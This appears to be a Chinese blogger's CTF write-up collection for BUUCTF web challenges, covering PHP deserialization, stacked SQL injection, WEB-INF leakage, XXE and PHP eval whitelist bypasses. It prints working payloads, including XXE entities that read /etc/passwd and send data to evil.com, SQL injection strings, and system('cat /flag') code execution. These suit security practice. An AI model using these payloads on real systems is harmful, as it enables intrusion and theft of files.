BUUCTF寒假刷题记录(五)

发布于 2023-03-03  321 次阅读


[网鼎杯 2020 青龙组]AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}
  • 要进入read函数里面的file_get_contents($this->filename),需要满足op参数若等于字符2,但是强不等于字符2,那么op等于数字2就行了,同时还需要传入filename=flag.php
<?php
class FileHandler {

    protected $op=2;
    protected $filename='flag.php';
}
$a= new FileHandler;
echo base64_encode(serialize($a));
?>
  • 上面是错误示范,因为原文有ascll的限制,这里要利用php7.1+的特性,对属性类型不敏感,private,public,protected可以随便换
<?php
class FileHandler {

    protected $op=2;
    public $filename='flag.php';
}
$a= new FileHandler;
echo serialize($a);
?>

[GYCTF2020]Blacklist

  • HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭
HANDLER 表名 OPEN;
HANDLER 表名 READ FIRST;
HANDLER 表名 CLOSE;
  • 堆叠注入查数据库和表名
1';show databases;#

img

1';show tables;#

img

  • handler看表
0';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#

img

[RoarCTF2019]Easy java

  • 本题属于WEB-INF/web.xml泄露
  • WEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问
  • /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
  • 要猜出来(或者扫描出来)有个download目录,在该目录post一个
filename=WEB-INF/web.xml

img

  • 下载到一个xml文件
<web-app xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
<welcome-file-list>
<welcome-file>Index</welcome-file>
</welcome-file-list>
<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginController</servlet-name>
<url-pattern>/Login</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>DownloadController</servlet-name>
<servlet-class>com.wm.ctf.DownloadController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadController</servlet-name>
<url-pattern>/Download</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>
</web-app>
  • 有个com.wm.ctf.FlagController,尝试下载这个class文件
filename=WEB-INF/classes/com/wm/ctf/FlagController.class
  • 这里死活下载不下来,正常情况应该得到
   !  " flag Ljava/lang/String; <init> ()V Code LineNumberTable doGet R(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V 
Exceptions # $ 
SourceFile FlagController.java RuntimeVisibleAnnotations %Ljavax/servlet/annotation/WebServlet; name FlagController   <ZmxhZ3szMWUyNzMyNy1iM2VjLTRlZjktYTIyMS0wOGMzOTg2NTNkNmR9Cg==      
 % & ' &<h1>Flag is nearby ~ Come on! ! !</h1> ( ) * javax/servlet/http/HttpServlet javax/servlet/ServletException java/io/IOException &javax/servlet/http/HttpServletResponse  getWriter ()Ljava/io/PrintWriter; java/io/PrintWriter print (Ljava/lang/String;)V !         
  • base64解码得到flag

[BJDCTF2020]The mystery of ip

  • 之前做过这道题,贴漏了判断模板类型的图片

[NCTF2019]Fake XML cookbook

  • xml注入(xxe)
定义实体:
<!DOCTYPE foo [
<!ENTITY bar "hello world">
]>
<root>&bar;</root>

引用本地文件:
<!DOCTYPE foo [
<!ENTITY bar SYSTEM "file:///etc/passwd">
]>
<root>&bar;</root>

引用远程文件:
<!DOCTYPE foo [
<!ENTITY bar SYSTEM "http://evil.com/malicious.dtd">
]>
<root>&bar;</root>

实体值作为参数传递:
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY % remoteEntity "<!ENTITY &#x25; &#x25; xxe SYSTEM 'http://evil.com/?%xxe;'>">
%remoteEntity;
]>
  • 抓包,向之前抓包猜出来的doLogin.php给post一个xxe进去(不知道为什么这里可以直接post)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>
<user><username>&admin;</username><password>123456</password></user>

[安洵杯2019]easy_web

  • 观察传参,有个img参数,拿给chatgpt转码一下,两次base64编码,一次16进制编码解码之后得到555.png,猜测这个参数可以显示源码,传入index.php经过这样编码之后的字符串
  • 查看源码,只要a和b值不同但是md5值相同即可拿到shell
在 PHP 中,可以通过将字符串转换为 md5 哈希值来实现字符串的加密和验证。由于 md5 算法的散列结果具有固定长度并
且非常随机,因此相同的字符串将生成相同的 md5 哈希值,而不同的字符串也可能生成相同的 md5 哈希值,这就是哈希
碰撞。

有些字符串虽然在 PHP 中进行弱比较时(使用“==”运算符)不相等,但它们的 md5 哈希值相同。这是因为 md5 哈希碰撞
使得两个不同的字符串产生相同的哈希值,例如:

$str1 = '240610708';
$str2 = 'QNKCDZO';

if ($str1 == $str2) {
    echo 'Strings are equal!';
} else {
    echo 'Strings are not equal!';
}

// Output: Strings are not equal!

if (md5($str1) == md5($str2)) {
    echo 'Hashes are equal!';
} else {
    echo 'Hashes are not equal!';
}

// Output: Hashes are equal!
在上面的例子中,$str1 和 $str2 是不同的字符串,但是它们的 md5 哈希值都是 0e462097431906509019562988736854,因此在使用 md5 哈希值进行比较时,它们是相等的。
  • 最后查看flag
ca/t%20/flag

[安洵杯 2019]easy_serialize_php

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 
  • extract函数取数组键名做变量名,取值做变量的值,因为$_SESSION['function'] = $function;,所以$_SESSION['function']的值可以被随意覆盖
  • }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here!提示查看phpinfo,得到flag的文件名
post
fuction=phpinfo
  • 这里采用键值逃逸
  • 正常情况下,传入一个function=show_image,再直接传入下面即可,但是
$_SESSION['img'] = base64_encode('guest_img.png');

得到a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
  • 但是后面有个$_SESSION['img'] = base64_encode('guest_img.png');把img的值覆盖了,我们可以传一个变量,将后面整体注释掉
$_SESSION['phpflag']=";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";

得到a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
  • 被正则后
a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
  • 这样原本表示phpflag变量长度的";s:48:就被无关紧要的s:1:"1"替换了,同时后面的s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}也足以将后端的赋值给注释掉.整个操作相当于将前面字符长度限制弄没了,把原本phpflag的值当成了之后要用到的一对键和值

[CISCN 2019 初赛]Love Math

 <?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}
  • 白名单,没有代码执行函数,利用变量传参
?c=($_GET[pi])($_GET[abs])&pi=system&abs=cat /flag
  • 括号被过滤可以用大括号替换
$_GET{pi}($_GET{abs})&pi=system&abs=cat /flag
  • base_convert(123456,10,16)意思是十进制下的123456转换成16进制。dechex:将十进制转化成十六进制。
  • _GET=hex2bin(5f 47 45 54) 然而hex2bin也是白名单以外的函数 用base_convert()函数将10进制数转化为36进制的hex2bin
  • hex2bin=base_convert(37907361743,10,36)
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos})&abs=system&acos=cat /flag
  • 5f 47 45 54也不能直接填,因为会被preg_matchall('/[a-zA-Z\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); 这句话当作函数名放进白名单里检测,所以5f 47 45 54也需要经过进制转化
  • 5f474554=dechex(1598506324)
  • 将_GET存进一个变量里
$pi=base_convert(37907361743,10,36)(dechex(1598506324));
  • 最后
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag
届ける言葉を今は育ててる
最后更新于 2024-02-07